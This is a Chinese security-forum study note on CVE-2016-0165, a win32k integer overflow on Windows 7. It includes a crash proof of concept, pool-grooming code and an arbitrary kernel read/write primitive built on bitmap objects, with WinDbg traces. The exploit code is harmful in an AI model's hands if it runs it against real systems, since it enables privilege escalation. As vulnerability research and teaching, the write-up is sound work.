本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
1.漏洞描述
2.实验环境
-
操作系统:Win7 x86 sp1 专业版
-
编译器:Visual Studio 2017
-
调试器: IDA Pro,WinDbg
二
漏洞分析
1.漏洞原理
typedef struct _EPATHOBJ
{
PATHOBJ po;
PPATH pPath;
CLIPOBJ *pco;
EPATHOBJ, *PEPATHOBJ;
typedef struct _PATHOBJ {
FLONG fl;
ULONG cCurves;
} PATHOBJ;
void __thiscall RGNMEMOBJ::vCreate(RGNMEMOBJ *this, struct EPATHOBJ *ePathObj, char a3, struct _RECTL *a4)
{
unsigned int uiCurves;
struct EDGE *pEdge1;
int bFree;
PVOID pEdge;
uiCurves = *((_DWORD *)ePathObj + 1);
bFree = uiCurves;
if ( uiCurves >= 0x14 )
{
if ( 0x28 * (uiCurves + 1) ) // 此处并没有验证(uiCurves + 1) * 0x28是否会发生整型溢出
{
v12 = ExAllocatePoolWithTag(PagedPoolSession, 0x28 * (uiCurves + 1), 'ngrG'); // 申请内存
v7 = a4;
pEdge = v12;
}
}
if ( v37 >= v14 )
{
if ( v37 < 0 || //这部分计算后文会讲 )
{
pEdge1 = (struct EDGE *)pEdge;
vConstructGET(ePathObj, (struct EDGE *)&v30, pEdge1, a4); // 触发漏洞的地方
}
if ( bFree ) // 申请成功了就会释放申请的内存
ExFreePoolWithTag(pEdge, 0);
}
typedef struct _EDGE {
PVOID pNext; //<[00,04]
INT iScansLeft; //<[04,04]
INT X; //<[08,04]
INT Y; //<[0C,04]
INT iErrorTerm; //<[10,04]
INT iErrorAdjustUp; //<[14,04]
INT iErrorAdjustDown; //<[18,04]
INT iXWhole; //<[1C,04]
INT iXDirection; //<[20,04]
INT iWindingDirection; //<[24,04]
} EDGE, *PEDGE;
void __stdcall vConstructGET(struct EPATHOBJ *a1, struct EDGE *pEdgeHead, struct EDGE *pEdge, struct _RECTL *a4)
{
struct EDGE *pEdgeHead1; // ebx
int *v5; // edi
struct _POINTFIX *v6; // ecx
struct EDGE *pEdge1; // eax
struct _POINTFIX *v8; // esi
struct EPATHOBJ *i; // [esp+10h] [ebp+8h]
struct EDGE *pEdgeHeada; // [esp+14h] [ebp+Ch]
pEdgeHead1 = pEdgeHead;
*(_DWORD *)pEdgeHead1 = pEdgeHead1;
if ( v5 )
{
pEdge1 = pEdge;
do
{
for (i = (struct EPATHOBJ *)&v5[2 * v5[3] + 4]; v8 < i; v8 = (struct _POINTFIX *)((char *)v8 + 8))
{
pEdge1 = AddEdgeToGET(pEdgeHead1, pEdge1, v6, v8, a4);
v6 = v8;
}
if ( v5[2] & 2 )
{
pEdge1 = AddEdgeToGET(pEdgeHead1, pEdge1, v6, pEdgeHeada, a4);
v6 = 0;
}
v5 = (int *)*v5;
}
while ( v5 );
}
}
struct EDGE *__stdcall AddEdgeToGET(struct EDGE *pEdgeHead, struct EDGE *pEdge, struct _POINTFIX *a3, struct _POINTFIX *a4, struct _RECTL *pRectl)
{
LONG yEnd; // edi
struct EDGE *pEdge1; // ecx
int Edge_Y; // esi
int EdgeY; // ebx
struct EDGE *pEdgeHead1; // edx
int pEdgeNext; // eax
int HeadY; // esi
struct EDGE *pEdgea; // [esp+20h] [ebp+Ch]
struct _POINTFIX *yStart; // [esp+28h] [ebp+14h]
pEdgea = 0;
if ( pRectl )
{
if ( yEnd < pRectl->top || (signed int)yStart > pRectl->bottom )
return pEdge1;
if ( (signed int)yStart < pRectl->top )
{
pEdgea = (struct EDGE *)1;
v25 = yStart;
yStart = (struct _POINTFIX *)pRectl->top;
}
if ( yEnd > pRectl->bottom )
yEnd = pRectl->bottom;
}
Edge_Y = ((signed int)yStart + 0xF) >> 4;
*((_DWORD *)pEdge1 + 3) = Edge_Y;
*((_DWORD *)pEdge1 + 1) = ((yEnd + 0xF) >> 4) - Edge_Y;
if ( ((yEnd + 0xF) >> 4) - Edge_Y <= 0 ) // 点的y坐标是否相同,如果相同则跳过添加
return pEdge1;
// 通过pNext将EDGE加入到
while ( 1 )
{
pEdgeNext = *(_DWORD *)pEdgeHead1;
Y = *(_DWORD *)(*(_DWORD *)pEdgeHead1 + 0xC);
if ( v21 <= Y && (v21 != Y || v20 <= *(_DWORD *)(pEdgeNext + 8)) )
break;
pEdgeHead1 = *(struct EDGE **)pEdgeHead1;
}
*(_DWORD *)pEdge1 = pEdgeNext;
*(_DWORD *)pEdgeHead1 = pEdge1;
return (struct EDGE *)((char *)pEdge1 + 0x28);
}
typedef struct tagRECT {
LONG left;
LONG top;
LONG right;
LONG bottom;
RECT,*PRECT,*NPRECT,*LPRECT;
typedef LONG FIX;
typedef struct _POINTFIX {
FIX x;
FIX y;
POINTFIX, *PPOINTFIX;
2.漏洞验证
WINGDIAPI HRGN WINAPI PathToRegion(__in HDC hdc);
WINUSERAPI
HDC
WINAPI
GetDC(__in_opt HWND hWnd);
WINGDIAPI BOOL WINAPI BeginPath(__in HDC hdc);
WINGDIAPI BOOL WINAPI EndPath(__in HDC hdc);
WINGDIAPI BOOL WINAPI PolylineTo(__in HDC hdc,
__in_ecount(cpt) CONST POINT * apt,
__in DWORD cpt);
typedef struct tagPOINT
{
LONG x;
LONG y;
} POINT, *PPOINT, NEAR *NPPOINT, FAR *LPPOINT;
cpt = 0;
for ( i = 0; ; ++i )
{
v13 = cpt;
if ( i >= ccpt )
break;
cpt += *(Dst + i);
}
if ( cpt > 0x4E2000 ) // 一次增加的线条不能超过0x4E2000,否则会增加失败
goto LABEL_56;
if ( v8 )
{
// 省略成功调用的代码
}
else
{
// 内存资源不足,GetLastError将会得到8
EngSetLastError(8);
v3 = dcObj;
*(_DWORD *)(v3 + 0x70) &= 0xFFFFFFFE;
*(_DWORD *)(v3 + 0x6C) = 0;
}
.text:BF874085 push 0
.text:BF874087 push 20h
.text:BF874089 push edx
.text:BF87408A push eax // 不同y值的点的个数
.text:BF87408B call __allmul // 将个数乘以0x20
.text:BF874090 mov esi, eax
.text:BF874092 add esi, 1F8h // 个数乘以0x20以后,在加上0x1F8
.text:BF874098 adc edx, 0
.text:BF87409B mov [ebp+var_C], edx
.text:BF87409E mov edi, 7FFFFFFFh ; 将0x7FFFFFFF赋值给edi
.text:BF8740A3 js short loc_BF8740B3
.text:BF8740A5 jg loc_BF87416B
.text:BF8740AB cmp esi, edi ; 判断esi是否大于edi,大于则跳转
.text:BF8740AD ja loc_BF87416B ; 如果跳转,则不会调用vConstructGET函数
BOOL POC_CVE_2016_0165()
{
BOOL bRet = TRUE;
HDC hdc = NULL;
CONST DWORD dwMaxCount = 0x6666665, dwMaxValue = 0x04E2000, dwCount = 0x100;
DWORD i = 0;
PPOINT pPoint = NULL;
pPoint = (PPOINT)malloc(dwMaxCount * sizeof(POINT));
if (!pPoint)
{
ShowError("malloc", GetLastError());
bRet = FALSE;
goto exit;
}
ZeroMemory(pPoint, dwMaxCount * sizeof(POINT));
for (i = 0; i < dwCount; i++)
{
pPoint[i].y = i;
}
hdc = GetDC(NULL);
if (!hdc)
{
ShowError("GetDC", GetLastError());
bRet = FALSE;
goto exit;
}
if (!BeginPath(hdc))
{
ShowError("BeginPath", GetLastError());
bRet = FALSE;
goto exit;
}
for (i = dwMaxCount; i > 0; i -= min(dwMaxValue, i))
{
if (!PolylineTo(hdc, &pPoint[dwMaxCount - i], min(dwMaxValue, i)))
{
ShowError("PolylineTo", GetLastError());
bRet = FALSE;
goto exit;
}
}
if (!EndPath(hdc))
{
ShowError("EndPath", GetLastError());
bRet = FALSE;
goto exit;
}
if (PathToRegion(hdc) == NULL)
{
ShowError("PathToRegion", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
if (pPoint)
{
free(pPoint);
pPoint = NULL;
}
return bRet;
}
3: kd> g
Breakpoint 0 hit
:vCreate+0xb3: :
83793fea 8d4101 lea eax,[ecx+1]
2: kd> p
:vCreate+0xb6: :
83793fed 6bc028 imul eax,eax,28h
2: kd> r eax // 要进行计算的线条数
eax=06666667
2: kd> p
:vCreate+0xb9: :
83793ff0 85c0 test eax,eax
2: kd> r eax // 相乘以后,整型溢出,此时变成了0x18
eax=00000018
2: kd> p
:vCreate+0xbb: :
83793ff2 7416 je win32k!RGNMEMOBJ::vCreate+0xd3 (8379400a)
2: kd> p
:vCreate+0xbd: :
83793ff4 684772676e push 6E677247h
2: kd> p
:vCreate+0xc2: :
83793ff9 50 push eax
2: kd> p
:vCreate+0xc3: :
83793ffa 6a21 push 21h
2: kd> p
:vCreate+0xc5: :
83793ffc ff1550009183 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (83910050)]
2: kd> r eax // 此时以0x18为大小申请内存块
eax=00000018
2: kd> p
:vCreate+0xcb: :
969d4002 8b5510 mov edx,dword ptr [ebp+10h]
1: kd> r eax
eax=fe640ce8
1: kd> dd 0xfe640ce8
fe640ce8 00000000 876cb398 00000000 00000000
fe640cf8 0000c07f 0000c07f 46140004 38616c47 // 0xfe640d00处即是下一内存块的POOL_HEADER
fe640d08 030806b7 00000001 80000000 00000000
fe640d18 00000202 00000000 00000bf2 00000000
fe640d28 00000000 00000000 00000000 00000005
fe640d38 00000000 00000000 00000000 96bd7e55
fe640d48 96bd7e55 00000000 00000000 fe640d5c
fe640d58 fe640d08 00ff0000 0000ff00 000000ff
1: kd> g
Breakpoint 2 hit
win32k!AddEdgeToGET+0x173:
96bf43b3 8901 mov dword ptr [ecx],eax
1: kd> p
win32k!AddEdgeToGET+0x175:
96bf43b5 890a mov dword ptr [edx],ecx
1: kd> r ecx // 第一次中断,写入的是申请的内存的地址
ecx=fe640ce8
1: kd> p
win32k!AddEdgeToGET+0x177:
96bf43b7 8d4128 lea eax,[ecx+28h] // 接下来取下一EDGE结构体
Breakpoint 2 hit
win32k!AddEdgeToGET+0x173:
96bf43b3 8901 mov dword ptr [ecx],eax
1: kd> p
win32k!AddEdgeToGET+0x175:
96bf43b5 890a mov dword ptr [edx],ecx
1: kd> r ecx // 第二次中断,写入的地址已经超出申请的内存块,此时偏移为0x28(0xfe640d10-0xfe640ce8)
ecx=fe640d10
1: kd> p
win32k!AddEdgeToGET+0x177:
96bf43b7 8d4128 lea eax,[ecx+28h] // 继续取下一EDGE结构体
Breakpoint 2 hit
win32k!AddEdgeToGET+0x173:
96bf43b3 8901 mov dword ptr [ecx],eax
1: kd> p
win32k!AddEdgeToGET+0x175:
96bf43b5 890a mov dword ptr [edx],ecx
1: kd> r ecx // 第三次中断,写入的地址的偏移为0x50(0x28 + 0x28)
ecx=fe640d38
1: kd> p
win32k!AddEdgeToGET+0x177:
96bf43b7 8d4128 lea eax,[ecx+28h] // 后面的操作以此类推
1: kd> dd 0xfe640ce8
fe640ce8 fe640d10 00000001 00000000 00000000
fe640cf8 ffffffff 00000000 00000100 00000000 // POOL_HEADER数据已经被修改
fe640d08 00000001 00000001 fe640d38 00000001
fe640d18 00000000 00000001 ffffffff 00000000
fe640d28 00000100 00000000 00000001 00000001
fe640d38 fe640d60 00000001 00000000 00000002
fe640d48 ffffffff 00000000 00000100 00000000
fe640d58 00000001 00000001 fe640d88 00000001
1: kd> kb
ChildEBP RetAddr Args to Child
9803b394 83efd083 00000003 82d59337 00000065 nt!RtlpBreakWithStatusInstruction
9803b3e4 83efdb81 00000003 fe98d8b8 000001ff nt!KiBugCheckDebugBreak+0x1c
9803b7a8 83f3fc6b 00000019 00000020 fe98d8b8 nt!KeBugCheck2+0x68b
9803b824 96a8417c fe98d8c0 00000000 0d0104e2 nt!ExFreePoolWithTag+0x1b1 // 释放内存块时产生了错误
9803bbc8 96bbc190 9803bbe4 00000001 00000001 win32k!RGNMEMOBJ::vCreate+0x245
9803bc28 83e5c1ea 0d0104e2 0012feec 774a70b4 win32k!NtGdiPathToRegion+0x99
9803bc28 774a70b4 0d0104e2 0012feec 774a70b4 nt!KiFastCallEntry+0x12a
0012fed4 75ef6ba5 75ee65b0 0d0104e2 004be665 ntdll!KiFastSystemCallRet
0012fed8 75ee65b0 0d0104e2 004be665 00000000 GDI32!NtGdiPathToRegion+0xc
0012feec 0040111c 0d0104e2 00000000 00000000 GDI32!PathToRegion+0x45
三
漏洞利用
1.内存布局
HBITMAP CreateBitmap(
_In_ int nWidth,
_In_ int nHeight,
_In_ UINT cPlanes,
_In_ UINT cBitsPerPel,
_In_ const VOID *lpvBits
);
GDI surface object */
typedef struct _SURFACE
{
BASEOBJECT BaseObject;
SURFOBJ SurfObj;
FLONG flags;
struct _PALETTE * const ppal;
struct _EWNDOBJ *pWinObj;
union
{
HANDLE hSecureUMPD; // if UMPD_SURFACE set
HANDLE hMirrorParent;// if MIRROR_SURFACE set
HANDLE hDDSurface; // if DIRECTDRAW_SURFACE set
};
SIZEL sizlDim;
HDC hdc;
ULONG cRef;
HPALETTE hpalHint;
HANDLE hDIBSection;
HANDLE hSecure;
DWORD dwOffset;
DWORD biClrImportant;
SURFACE, *PSURFACE;
typedef struct _BASEOBJECT {
HANDLE hHmgr;
PVOID pEntry;
LONG cExclusiveLock;
PW32THREAD Tid;
BASEOBJECT, *POBJ;
typedef struct tagSIZE {
LONG cx;
LONG cy;
SIZE,*PSIZE,*LPSIZE;
typedef SIZE SIZEL;
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
SURFOBJ;
1: kd> dd 0xfe640ce8
fe640ce8 fe640d10 00000001 00000000 00000000
fe640cf8 ffffffff 00000000 00000100 00000000 // 申请的0x18的数据和下一内存块的POOL_HEADER
fe640d08 00000001 00000001 fe640d38 00000001 // BASEOBJ结构体数据
fe640d18 00000000 00000001 ffffffff 00000000 // SURFOBJ结构体前0x10的数据
fe640d28 00000100 00000000 00000001 00000001 // cx, cy, cjBits, pvBits的数据
fe640d38 fe640d60 00000001 00000000 00000002 // 0xfe640d38为pvScan0的数据
fe640d48 ffffffff 00000000 00000100 00000000
fe640d58 00000001 00000001 fe640d88 00000001
HANDLE SetClipboardData(UINT uFormat,
HANDLE hMem);
BOOL CreateClipboard(DWORD dwSize)
{
BOOL bRet = TRUE;
PCHAR pBuffer = NULL;
HGLOBAL hMem = NULL;
pBuffer = (PCHAR)malloc(dwSize);
if (!pBuffer)
{
ShowError("malloc", GetLastError());
bRet = FALSE;
goto exit;
}
ZeroMemory(pBuffer, dwSize);
FillMemory(pBuffer, dwSize, 0x41);
hMem = GlobalAlloc(GMEM_MOVEABLE, dwSize);
if (hMem == NULL)
{
ShowError("GlobalAlloc", GetLastError());
bRet = FALSE;
goto exit;
}
CopyMemory(GlobalLock(hMem), pBuffer, dwSize);
GlobalUnlock(hMem);
SetClipboardData(CF_TEXT, hMem);
exit:
return bRet;
}
HACCEL CreateAcceleratorTable(LPACCEL lpaccl,
int cEntries);
BOOL CreateObj_CVE_2016_0165()
{
BOOL bRet = TRUE;
CONST DWORD dwCount = 4000;
DWORD i = 0;
HBITMAP hBitMap[dwCount + 5] = { 0 };
HACCEL hAccel[dwCount + 5] = { 0 };
// 消耗掉多余0x70的内存空间
for (i = 0; i < 1000; i++)
{
ACCEL accKey[0x0D] = { 0 };
if (!CreateAcceleratorTableA(accKey, 0x0D))
{
ShowError("CreateAcceleratorTableA", GetLastError());
bRet = FALSE;
goto exit;
}
}
// 创建BitMap对象
for (i = 0; i < dwCount; i++)
{
// 0xE34 + 0x154 + 0x8 = 0xF90
hBitMap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
if (!hBitMap[i])
{
ShowError("CreateBitmap", GetLastError());
bRet = FALSE;
goto exit;
}
}
// 用加速表填充保存了BitMap对象的剩余的0x70字节的页
for (i = 0; i < dwCount; i++)
{
ACCEL accKey[0x0D] = { 0 };
hAccel[i] = CreateAcceleratorTableA(accKey, 0x0D);
if (!hAccel)
{
ShowError("CreateAcceleratorTableA", GetLastError());
bRet = FALSE;
goto exit;
}
}
// 释放掉BitMap对象
for (i = 0; i < dwCount; i++)
{
if (!DeleteObject(hBitMap[i]))
{
ShowError("DeleteObject", GetLastError());
bRet = FALSE;
goto exit;
}
hBitMap[i] = NULL;
}
// 创建垫片占用释放的BitMap对象中的内存页的起始部分
for (i = 0; i < dwCount; i++)
{
// 0xB5C + 0xC + 0x8 = 0xB70
if (!CreateClipboard(0xB5C))
{
bRet = FALSE;
goto exit;
}
}
// 重新占用除去垫片以外的内存
for (i = 0; i < dwCount; i++)
{
// 0x1 * 0xB1 * 0x4 + 0x154 + 0x8 = 0x420
hBitMap[i] = CreateBitmap(0x1, 0xB1, 1, 32, NULL);
if (!hBitMap[i])
{
ShowError("CreateBitmap", GetLastError());
bRet = FALSE;
goto exit;
}
}
// 释放掉一部分加速表用来保存触发漏洞时申请的0x70的空间
for (i = 2000; i < 3000; i++)
{
if (!DestroyAcceleratorTable(hAccel[i]))
{
ShowError("DestroyAcceleratorTable", GetLastError());
bRet = FALSE;
goto exit;
}
hAccel[i] = NULL;
}
exit:
return bRet;
}
2: kd> g
Breakpoint 1 hit
:vCreate+0xc5: :
96cf3ffc ff155000e796 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (96e70050)]
1: kd> p
:vCreate+0xcb: :
96cf4002 8b5510 mov edx,dword ptr [ebp+10h]
1: kd> r eax
eax=cafc4f98
1: kd> !pool cafc4f98
Pool page cafc4f98 region is Paged session pool
cafc4000 size: b70 previous size: 0 (Allocated) Uscb
cafc4b70 size: 420 previous size: b70 (Allocated) Gh15
size: 70 previous size: 420 (Allocated) *Grgn
Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys
1: kd> !pool cafc5008 // 下一内存页
Pool page cafc5008 region is Paged session pool
size: b70 previous size: 0 (Allocated) *Uscb
Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle
cafc5b70 size: 420 previous size: b70 (Allocated) Gh15
cafc5f90 size: 70 previous size: 420 (Free ) Usac Process: 87bc0030
1: kd> dc cafc5B70 // 写入前BitMap对象中的数据
cafc5b70 4684016e 35316847 0205108f 00000000 n..FGh15........
cafc5b80 00000000 00000000 00000000 0205108f ................
cafc5b90 00000000 00000000 00000001 000000b1 ................
cafc5ba0 000002c4 cafc5ccc cafc5ccc 00000004 ..............
cafc5bb0 0000319a 00000006 00010000 00000000 .1..............
cafc5bc0 04800200 00000000 00000000 00000000 ................
cafc5bd0 00000000 00000000 00000000 00000000 ................
cafc5be0 00000000 00000000 00000000 00000000 ................
1: kd> g
Breakpoint 2 hit
:
96dc4238 c21000 ret 10h
1: kd> dc cafc5B70
cafc5b70 00000001 00000001 cafc4f98 00000064 .........O..d...
cafc5b80 00000000 00000000 ffffffff 00000100 ................
cafc5b90 00006400 00000000 00000001 ffffffff .d..............
cafc5ba0 000002c4 cafc5ccc cafc5ccc 00000004 ..............
cafc5bb0 0000319a 00000006 00010000 00000000 .1..............
cafc5bc0 04800200 00000000 00000000 00000000 ................
cafc5bd0 00000000 00000000 00000000 00000000 ................
cafc5be0 00000000 00000000 00000000 00000000 ................
2.任意地址读写
pBmpHunted = (PDWORD)malloc(0x1000);
ZeroMemory(pBmpHunted, 0x1000);
// 获取被漏洞修改的BitMap对象
for (i = 0; i < dwCount; i++)
{
if (GetBitmapBits(hBitMap[i], 0x1000, pBmpHunted) > 0x2D0)
{
hBmpHunted = hBitMap[i];
break;
}
}
if (hBmpHunted == NULL || (pBmpHunted[iExtpScan0] & 0xFFF) != 0x00000CCC)
{
printf("Find hBmpHunted Errorn");
bRet = FALSE;
goto exit;
}
// 设置相邻页的BitMap对象的cy
if (!xxPoint(iExtHeight, 0xFFFFFFFF))
{
bRet = FALSE;
goto exit;
}
// 获取相邻页的BitMap对象的句柄
PVOID pBmpExtend = malloc(0x1000);
for (i = 0; i < dwCount; i++)
{
if (hBitMap[i] != hBmpHunted && GetBitmapBits(hBitMap[i], 0x1000, pBmpExtend) > 0x2D0)
{
hBmpExtend = hBitMap[i];
break;
}
}
if (hBmpExtend == NULL)
{
printf("Find hBmpExtend Errorn");
bRet = FALSE;
goto exit;
}
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
BOOL bRet = TRUE;
DWORD dwAddr = 0;
pBmpHunted[iExtpScan0] = addr;
if (SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted) < 0x1000)
{
ShowError("SetBitmapBits", GetLastError());
bRet = FALSE;
goto exit;
}
if (SetBitmapBits(hBmpExtend, cb, pvBits) < cb)
{
ShowError("SetBitmapBits", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
四
运行结果
参考资料
https://paper.seebug.org/579/
https://paper.seebug.org/580/
https://paper.seebug.org/581/
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):CVE-2016-0165提权漏洞学习笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论